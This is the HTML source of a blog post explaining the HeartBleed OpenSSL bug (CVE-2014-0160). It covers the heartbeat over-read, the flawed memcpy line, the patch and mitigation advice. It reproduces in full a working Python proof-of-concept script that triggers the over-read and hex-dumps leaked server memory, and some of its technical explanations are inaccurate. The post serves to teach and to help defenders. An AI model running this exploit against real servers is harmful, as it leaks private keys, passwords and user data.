1<!DOCTYPE html> 2<html lang="en-us"> 3 <head> 4 <title>BLOGS ·HeartBleed</title> 5 <meta charset="utf-8" /> 6 <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /> 7 <link rel="stylesheet" href="assets/css/main.css" /> 8 <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript> 9 </head> 10 <body> 11<!-- Generic --> 12 13 <article class="container box style3"> 14 <header> 15 <h2>Vulnerability Deep Dive Series: HeartBleed</h2> 16 <p>A tale of a vulnerable OpenSSL cryptographic software library</p> 17 </header> 18 <section> 19 <!-- 20 <header> 21 <h3>Paragraph</h3> 22 <p>This is a subtitle</p> 23 </header> 24 --> 25 <p> The <strong>HeartBleed Bug</strong> is a Critical level vulnerability in the popular OpenSSL cryptographic 26 software library. This Vulnerability has also being referred as <strong>CVE-2014-0160.</strong> 27 <strong>CVE</strong> i.e <em>Common Vulnerability Exposures</em> is the Standard of Information Security Vulnerability Names by MITRE. 28 This particular bug allows attacker to steal the protected information, under normal conditions, by the SSL/TLS encryption 29 used to secure the Internet. The SSL/TLS encryption provides communication security and privacy over the internet for applications such 30 as web, instant messaging and emails. 31 </p> 32 <a href="#" class="image fit"><img src="images/hb-blog1.jpg" alt="" /></a> 33 <br/> 34 <p>The HeartBleed Vulnerability allows anyone on the internet to read the memory of the systems which are running the vulnerable 35 versions of the OpenSSL software. It is a web based vulnerability which leads to exposure of sensitive Information/Data. The 36 HeartBleed vulnerability is a bug in cryptographic library of OpenSSL which is widely used in the implementation of TLS/SSL protocols. 37 This allows attacker to view the sensitive information that is rather expected to be not in human-readable due to the presence of SSL encryption. 38 The versions affected by this vulnerability includes OpenSSL 1.0.1 and some version of 1.0.2(beta), although its a relatively old vulnerability, indeed 39 critical one. It comes under <strong>Sensitive Data Exposure</strong> of OWASP TOP 10. 40 </p> 41 <p> 42 So let's get into detail of this vulnerability.... 43 You might have noticed that when you surf a website in your web browser you may find HTTP or HTTPS running to surf the web with either of protocols. 44 So what HTTPS is, it is HTTP with 'Security' which is nothing but the encrypted communication of your browser and the web server when you surf the particular website. 45 The websites with HTTPS uses SSL/TLS encryption method to encrypt the communication so that if the conversation data packets are intercepted the attacker will not be 46 able to read them because of the existing SSL encryption. So whenever you access a webiste and enter your login creds the web browser sends your creds encrypted to the web servers as to authenticate 47 your credentials so as to allow you surf further on that particular website. So when you enter your creds, your browser exchanges the information with the web servers of that particular website where 48 all the information about the website is stored. So this conversation between the browser and the web server exchanging creds for the authentication of a particular 49 user takes place in the presence of SSL/TLS protocol so that no one can eavesdrop over the communication. So the web server to maintain this SSL encryption obviously require some resources for it to use. 50 </p> 51 <p> 52 Earlier the web server before the existence of OpenSSL, the server can maintain and manage only a particular numbers of SSL sockets at a time, therefore to free its resources for the other users waiting for an SSL 53 encrypted connection the server would look for closing the existing SSL sockets/resources being used ASAP! So, If the user has remained inactive for a certain fixed time the web server automatically closes the connection 54 with that particular user and hence interrupting the session. To prevent this interruption the browser sends a <strong>"HeartBeat Packet"</strong> which contains the request to server for keeping the session alive and don't 55 interrupt the session while the user remained inactive. 56 </p> 57 The HeartBeat Packet interaction with the server goes like:</br> 58 <b>Browser:</b> Hey Server, I am still here dont't go anywhere leaving me!</br> 59 <b>Server:</b> Anything for you bro!</br> 60 <p> 61 </br>The HeartBeat packet is an extension used in TLS protocol allowing the TLS session up and running. The HeartBeat packet size if fixed upto 64kb, that explaining that we can obtain the memory dumps from server of not more than 64kb 62 in a single request packet. Although there's no limit for the HeartBeat packet to requet from the server, so we can simply keep requesting to obtain more data dumps as we send requests! And the important point to notice in here is that 63 this HeartBeat Packet conversation between the browser and the server is <b>NOT</b> encrypted. So an attacker can simply intercept the HeartBeat packet request and manipulate it hence leading it to easily dumping the memory from the server 64 side using this HeartBeat packet. Also the heartbeat packet can contain anything upto 64kb solike if you send a data of 1kb through the heartbeat pakcet the server responds with 1kb and if you send 64kb it responds with 64kb. 65 so what heartbleed is you send a 1kb heartbeat data packer to server telling it is of 64kb then server will send your 1kb required data with paded additional 63kb data which we actually didnt ask for
66 so the issue is with the software which provides the ssl protocol not the protocol itself 67 </p> 68 </section> 69 <section> 70 <header> 71 <h3>How the HeartBleed Works:</h3> 72 </header> 73 <p>[Meg, a girl with more curly hair than Megan, stands to the left in a panel. At the center of the panel is a black and gray server with red and green diode lights blinking.Meg is standing with her arms down in four panels. It will be 74 noted when she does not. Meg talks to the server. The server "thinks" all the time, i.e we see its memory in all panels.The top and bottom line is breaking the edge of the thought bubble making it difficult to discern. In every second panel 75 it replies to Meg. In these panels the number of letters requested by Meg is highlighted with yellow color.] 76 77 </p> 78 <a href="" class="image fit"><img src="images/hb-xkcd.png" alt="" /></a> 79 <p> 80 </br>Notice the gray area of the server's thinking bubble displayed in the panels. That gray area refers to the memory in stack/registers which is present in the server already. This all memory dumping things happens parallely with the your browser's 81 exchanging your creds with the server. Basicall, with the help of this heartbeat packet the brpwser keeps on checking over the server that he hasn't fallen asleep or something which may lead to closing of the connection between your browser and the web server. 82 And this parallel proces of HeartBeat packet is not encrypted, so an attacker can easily intercept the heartbeat packet manipulate the request and get the senstive information available in the web server without leaving any trace of theft! 83 </br> 84 </br> 85 As you already saw a pictorial representation of conversation takes place inside the HeartBeat Packet but still lets take a moment to review that conversation:</br> 86 <b>Meg[attacker]</b> - Hey server, you there? If yes reply 3 letter word C-A-T 87 </br> 88 *Server Keeps on the thinking process while he replies to Meg(notice the gray area)*</br> 89 <b>Server</b> - C-A-T 90 </br> 91 <b>Meg[attacker]</b> - Hey server, if you still there reply with 4 letter word B-I-R-D 92 </br> 93 *Server Keeps on the thinking process while he replies to Meg(notice the gray area)*</br> 94 <b>Server</b> - B-I-R-D 95 </br> 96 *Now Meg thinks...Hmmm...I wonder what happens when I manipulate the request by saying H-A-T as 500 letter word*</br> 97 <b>Server</b> - H-A-T.Adminpass-&dsauy@#!%6dshgajjAdminUser-Waldo.User waldo wants to access XXX directory.............</br> 98 So, what happened here is server misinterpreted the H-A-T as 500 letter word so he dumped 500 letters from his side unaware of the fact 99 that he dumped extra 497 letter without actually reviewing the attacker's request. The hackers can generate 1000 of this tyoe of requests 100 leading to dump all data from the server to them giving them access to almost everything! It all happens just because of the fact that server 101 doesn't verify the HearBeat request size. 102 103 </p> 104 </section> 105 <section> 106 <header> 107 <h3>Exploit Code</h3> 108 </header> 109 <blockquote> <div class="card"> 110 111 <div class="card-body"> 112 113 114 <pre><code class="language-py" style="white-space: pre-wrap;">#!/usr/bin/python 115 116# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) 117# The author disclaims copyright to this source code. 118import sys 119import struct 120import socket 121import time 122import select 123import re 124from optparse import OptionParser 125 126options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 127options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 128 129def h2bin(x): 130 return x.replace(' ', '').replace('\n', '').decode('hex') 131 132hello = h2bin(''' 13316 03 02 00 dc 01 00 00 d8 03 02 53 13443 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 135bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 13600 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 13700 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
138c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 139c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 140c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 141c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 14200 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 14303 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 14400 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 14500 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 14600 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 14700 0f 00 01 01 148''') 149 150hb = h2bin(''' 15118 03 02 00 03 15201 40 00 153''') 154 155def hexdump(s): 156 for b in xrange(0, len(s), 16): 157 lin = [c for c in s[b : b + 16]] 158 hxdat = ' '.join('%02X' % ord(c) for c in lin) 159 pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 160 print ' %04x: %-48s %s' % (b, hxdat, pdat) 161 print 162 163def recvall(s, length, timeout=5): 164 endtime = time.time() + timeout 165 rdata = '' 166 remain = length 167 while remain > 0: 168 rtime = endtime - time.time() 169 if rtime < 0: 170 return None 171 r, w, e = select.select([s], [], [], 5) 172 if s in r: 173 data = s.recv(remain) 174 # EOF? 175 if not data: 176 return None 177 rdata += data 178 remain -= len(data) 179 return rdata 180 181 182def recvmsg(s): 183 hdr = recvall(s, 5) 184 if hdr is None: 185 print 'Unexpected EOF receiving record header - server closed connection' 186 return None, None, None 187 typ, ver, ln = struct.unpack('>BHH', hdr) 188 pay = recvall(s, ln, 10) 189 if pay is None: 190 print 'Unexpected EOF receiving record payload - server closed connection' 191 return None, None, None 192 print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 193 return typ, ver, pay 194 195def hit_hb(s): 196 s.send(hb) 197 while True: 198 typ, ver, pay = recvmsg(s) 199 if typ is None: 200 print 'No heartbeat response received, server likely not vulnerable' 201 return False 202 203 if typ == 24: 204 print 'Received heartbeat response:' 205 hexdump(pay) 206 if len(pay) > 3: 207 print 'WARNING: server returned more data than it should - server is vulnerable!' 208 else: 209 print 'Server processed malformed heartbeat, but did not return any extra data.' 210 return True 211 212 if typ == 21: 213 print 'Received alert:' 214 hexdump(pay) 215 print 'Server returned error, likely not vulnerable' 216 return False 217 218def main(): 219 opts, args = options.parse_args() 220 if len(args) < 1: 221 options.print_help() 222 return 223 224 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 225 print 'Connecting...' 226 sys.stdout.flush() 227 s.connect((args[0], opts.port)) 228 print 'Sending Client Hello...' 229 sys.stdout.flush() 230 s.send(hello) 231 print 'Waiting for Server Hello...' 232 sys.stdout.flush() 233 while True: 234 typ, ver, pay = recvmsg(s) 235 if typ == None: 236 print 'Server closed connection without sending Server Hello.' 237 return 238 # Look for server hello done message. 239 if typ == 22 and ord(pay[0]) == 0x0E: 240 break 241 242 print 'Sending heartbeat request...' 243 sys.stdout.flush() 244 s.send(hb) 245 hit_hb(s) 246 247if __name__ == '__main__': 248 main() 249 </code></pre> 250 251 </div></blockquote> 252 </section> 253 <section> 254 <header> 255 <h3>HeartBleed Code and Mitigations</h3> 256 </header> 257 <p> 258 The possible coding mistake that caused this whole HeartBleed Vulnerability can be traced out to a single line of code. 259 <blockquote> <b>memcpy(bp, pl, payload); </b> </blockquote> 260 <b><code>memcpy</code></b> is the command that copies data. <b><code>bp</code></b> is the place it's copying it to, <b><code>pl</code></b> is where it's being copied from, 261 and <b><code>payload</code></b> is the length of the data being copied. The problem is that there's never any attempt to check if the amount of data in <b><code>pl</code></b> is equal to the value given of <b><code>payload</code></b>. 262 263 </p> 264 <p> 265 OpenSSL is an opensource software and after the discovery of HeartBleed patches were rolled out immediately and in all likelihood most formerly vulnerable servers have been updated by that very point. 266 Now let's have a look at the code that fixed this vulnerability.</br> 267 <blockquote><b><code> 268 /* Read type and payload length first */ </br> 269 270 if (1 + 2 + 16 > s->s3->relent)</br> 271 272 return 0;</br> 273 274 /* silently discard */</br> 275 276 hbtype = *p++;</br> 277 278 n2s(p, payload);</br> 279 280 if (1 + 2 + payload + 16 > s->s3->rrec.length)</br> 281 282 return 0;</code>br> 283 284 /* silently discard per RFC 6520 sec. 4 */</br> 285 286 pl = p;</br> 287 </code></b></blockquote> 288 </br> 289 The first part of this code makes sure that the heartbeat request isn't 0 KB, which can cause problems. The second part makes sure the request is actually as long as it says it is. 290 If you discover that a server under your control has been left vulnerable for some time, there's more to do than just update the OpenSSL code. For instance, you should change the SSL 291 certificates used by the servers, since they may have been compromised without leaving a trace. More pedestrian but still important: users who have accounts on the system should change their passwords. 292 </p> 293 </section> 294 </hr> 295 <section> 296 <header> 297 <h3>References</h3> 298 </header> 299 <ul> 300 <li><a href=https://heartbleed.com/>https://heartbleed.com/</a></li> 301 <li><a href=https://www.vox.com/2014/6/19/18076318/heartbleed>https://www.vox.com/2014/6/19/18076318/heartbleed</a></li> 302 <li><a href=https://www.exploit-db.com/exploits/32745>https://www.exploit-db.com/exploits/32745</a></li> 303 <li><a href=https://www.oracle.com/security-alerts/alert-cve-2014-0160.html>https://www.oracle.com/security-alerts/alert-cve-2014-0160.html</a></li> 304 </ul> 305 </section> 306 <!-- 307 <section> 308 <header> 309 <h3>Ordered List</h3> 310 </header> 311 <ol> 312 <li>Donec consectetur vestibulum dolor et pulvinar. Etiam vel felis enim, at viverra ligula. Ut porttitor sagittis lorem, quis eleifend nisi ornare vel.</li> 313 <li>Donec consectetur vestibulum dolor et pulvinar. Etiam vel felis enim, at viverra ligula. Ut porttitor sagittis lorem, quis eleifend nisi ornare vel.</li> 314 <li>Donec consectetur vestibulum dolor et pulvinar. Etiam vel felis enim, at viverra ligula. Ut porttitor sagittis lorem, quis eleifend nisi ornare vel.</li> 315 <li>Donec consectetur vestibulum dolor et pulvinar. Etiam vel felis enim, at viverra ligula. Ut porttitor sagittis lorem, quis eleifend nisi ornare vel.</li> 316 </ol> 317 </section> 318 --> 319 <!-- 320 <section> 321 <header> 322 <h3>Table</h3> 323 </header> 324 <div class="table-wrapper"> 325 <table> 326 <thead> 327 <tr> 328 <th>ID</th> 329 <th>
329Name</th> 330 <th>Description</th> 331 <th>Price</th> 332 </tr> 333 </thead> 334 <tbody> 335 <tr> 336 <td>45815</td> 337 <td>Something</td> 338 <td>Ut porttitor sagittis lorem quis nisi ornare.</td> 339 <td>29.99</td> 340 </tr> 341 <tr> 342 <td>24524</td> 343 <td>Nothing</td> 344 <td>Ut porttitor sagittis lorem quis nisi ornare.</td> 345 <td>19.99</td> 346 </tr> 347 <tr> 348 <td>45815</td> 349 <td>Something</td> 350 <td>Ut porttitor sagittis lorem quis nisi ornare.</td> 351 <td>29.99</td> 352 </tr> 353 <tr> 354 <td>24524</td> 355 <td>Nothing</td> 356 <td>Ut porttitor sagittis lorem quis nisi ornare.</td> 357 <td>19.99</td> 358 </tr> 359 </tbody> 360 <tfoot> 361 <tr> 362 <td colspan="3"></td> 363 <td>100.00</td> 364 </tr> 365 </tfoot> 366 </table> 367 </div> 368 </section> --> 369 <!-- 370 <section> 371 <header> 372 <h3>Form</h3> 373 </header> 374 <form method="post" action="#"> 375 <div class="row"> 376 <div class="col-6 col-12-mobile"> 377 <input class="text" type="text" name="name" id="name" value="" placeholder="John Doe" /> 378 </div> 379 <div class="col-6 col-12-mobile"> 380 <input class="text" type="text" name="email" id="email" value="" placeholder="[email protected]" /> 381 </div> 382 <div class="col-12"> 383 <select name="department" id="department"> 384 <option value="">Choose a department</option> 385 <option value="1">Manufacturing</option> 386 <option value="2">Administration</option> 387 <option value="3">Support</option> 388 </select> 389 </div> 390 <div class="col-12"> 391 <input class="text" type="text" name="subject" id="subject" value="" placeholder="Enter your subject" /> 392 </div> 393 <div class="col-12"> 394 <textarea name="message" id="message" placeholder="Enter your message"></textarea> 395 </div> 396 <div class="col-12"> 397 <ul class="actions"> 398 <li><input type="submit" value="Submit" /></li> 399 <li><input type="reset" class="style3" value="Clear Form" /></li> 400 </ul> 401 </div> 402 </div> 403 </form> 404 </section> --> 405 </article> 406 </body> 407</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.